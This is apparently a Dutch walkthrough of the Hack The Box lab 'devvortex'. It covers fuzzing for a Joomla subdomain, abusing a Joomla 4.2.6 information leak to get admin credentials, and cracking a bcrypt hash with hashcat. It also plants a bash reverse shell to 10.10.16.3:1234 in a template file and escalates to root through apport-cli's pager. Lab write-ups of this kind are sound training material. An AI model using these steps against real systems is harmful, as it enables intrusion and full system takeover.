HTB Lab: devvortex.htb

HTB Lab: devvortex.htb

Inleiding

  • Moeilijkheidsgraad: easy
  • Onderwerpen:CMS, MySQL, Linux

2. Nmap Scan

We beginnen met een simpele nmap scan en we zien dat er twee poorten open staan.

  • 22/tcp - ssh
  • 80/tcp - http

3. Enumeratie

We voegen de naam van de machine en ip toe aan de /etc/hosts file.

sudo vim /etc/hosts

Als we checken wat er op poort 80 draait zien we de volgende pagina.

Een snelle check met Wappalyzer laat zien dat we te maken hebben met Joomla als CMS.

Met ffuf doen we een subdomein enumeratie:

ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/bitquark-subdomainstop100000.txt:FUZZ -u http://devvortex.htb -H 'Host: FUZZ.devvortex.htb' -fw 4

We vinden het subdomein 'dev'. Deze voegen we toen aan de etc/hosts file.

Via de /robots.txt pagina komen we erachter dat er een /administrator pagina is.

De standaard admin:admin geprobeerd.. maar helaas. Eerst maar even zoeken naar het versienummer van de Joomla CMS.

Het is bekend dat het versienummer van de Joomla CMS gevonden kan woorden in de joomla.xml file.

Met curl bekijken we dit bestand:

curl -s http://dev.devvortex.htb/administrator/manifests/files/joomla.xml | xmllint --format -
Versie 4.2.6

4. Kwetsbaarheid ontdekken

Na wat googlen komen we op de volgende exploit: https://vulncheck.com/blog/joomla-for-rce.

Hieruit wordt duidelijk dat de volgende cURL command interessante informatie kan laten zien.

We vinden een user en een password; lewis:P4ntherg0t1n5r3c0n##

We loggen met deze credentials in en we zijn binnen op de CMS.


5. Exploitatie (Foothold)

RCE krijgen met een Reverse Shell.

We navigeren naar system -> administrator/templates/atum/index.php

exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.16.3/1234 0>&1'");

We zetten een listener op met netcat.

  nc -lnvp 1234

Save the file, en...

Nu we foothold hebben gaan we eerst kijken welke services er op de machine draaien:

ss -tuln

We zien dat er een 3306/tcp draait op de lokale host. Dit betekent een MySQL-database.

Na wat rondzoeken vinden we en interessant bestand 'configuration.php'.

Die valideert voor ons dat de database hoogstwaarschijnlijk toegankelijk is voor de gebruiker 'lewis'.

script /dev/null -c bash

Upgrade de shell als deze problemen geeft met de MySQL

Na rondzoeken in de database vinden we de gebruiker 'logan' inclusief een password hash.

De hash is een bcrypt.

hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt

Nadat we de hash door hashcat hebben laten kraken zien we het wachtwoord voor de gebruiker logan.

In de nmap scan zagen we nog één andere poort openstaan. Namelijk poort 22/tcp.

Dit is voor een SSH-verbinding.

We loggen in met de gevonden credentials. In de home directory vinden we de eerste flag.


6. Privilege Escalation

Als we naar de root folder willen gaan zien we dat we daar geen rechten voor hebben. Dus het is tijd voor wat privilege escalation.

Als we kijken of we ergens root-rechten voor hebben met:

sudo -l

Zien we dat die hebben op de apport-cli binary.

Na wat rondzoeken komen naar bekende vulnerabilities voor deze binary komen we bij de volgende: https://0xd1eg0.medium.com/cve-2023-1326-poc-c8f2a59d0e00

We starten de tool op met de --file-bug flag
Bij de tweede menu kiezen we voor optie 2.
Bij het derde menu kies je voor 'View report'
Als alles geladen is type dan '!/bin/bash -i'
We zijn Root!